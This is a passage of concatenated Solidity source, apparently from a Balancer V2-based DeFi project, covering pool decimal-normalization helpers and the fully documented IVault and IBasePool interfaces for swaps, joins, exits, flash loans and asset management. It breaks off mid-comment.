// We return (underlyingReserve, bondReserve + totalLP)
return (reserveTokenIn, reserveTokenOut + totalSupply());
} else if (tokenIn == bond && tokenOut == underlying) {
// We return (bondReserve + totalLP, underlyingReserve)
return (reserveTokenIn + totalSupply(), reserveTokenOut);
}
// This should never be hit
revert("Token request doesn't match stored");
}
/// @dev Turns a token which is either 'bond' or 'underlying' into 18 point decimal
/// @param amount The amount of the token in native decimal encoding
/// @param token The address of the token
/// @return The amount of token encoded into 18 point fixed point
function _tokenToFixed(uint256 amount, IERC20 token)
internal
view
returns (uint256)
{
// In both cases we are targeting 18 point
if (token == underlying) {
return _normalize(amount, underlyingDecimals, 18);
} else if (token == bond) {
return _normalize(amount, bondDecimals, 18);
}
// Should never happen
revert("Called with non pool token");
}
/// @dev Turns an 18 fixed point amount into a token amount
/// Token must be either 'bond' or 'underlying'
/// @param amount The amount of the token in 18 decimal fixed point
/// @param token The address of the token
/// @return The amount of token encoded in native decimal point
function _fixedToToken(uint256 amount, IERC20 token)
internal
view
returns (uint256)
{
if (token == underlying) {
// Recodes to 'underlyingDecimals' decimals
return _normalize(amount, 18, underlyingDecimals);
} else if (token == bond) {
// Recodes to 'bondDecimals' decimals
return _normalize(amount, 18, bondDecimals);
}
// Should never happen
revert("Called with non pool token");
}
/// @dev Takes an 'amount' encoded with 'decimalsBefore' decimals and
/// re encodes it with 'decimalsAfter' decimals
/// @param amount The amount to normalize
/// @param decimalsBefore The decimal encoding before
/// @param decimalsAfter The decimal encoding after
function _normalize(
uint256 amount,
uint8 decimalsBefore,
uint8 decimalsAfter
) internal pure returns (uint256) {
// If we need to increase the decimals
if (decimalsBefore > decimalsAfter) {
// Then we shift right the amount by the number of decimals
amount = amount / 10**(decimalsBefore - decimalsAfter);
// If we need to decrease the number
} else if (decimalsBefore < decimalsAfter) {
// then we shift left by the difference
amount = amount * 10**(decimalsAfter - decimalsBefore);
}
// If nothing changed this is a no-op
return amount;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "../ProtocolFeesCollector.sol";
import "../../lib/helpers/ISignaturesValidator.sol";
import "../../lib/helpers/ITemporarilyPausable.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (ProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
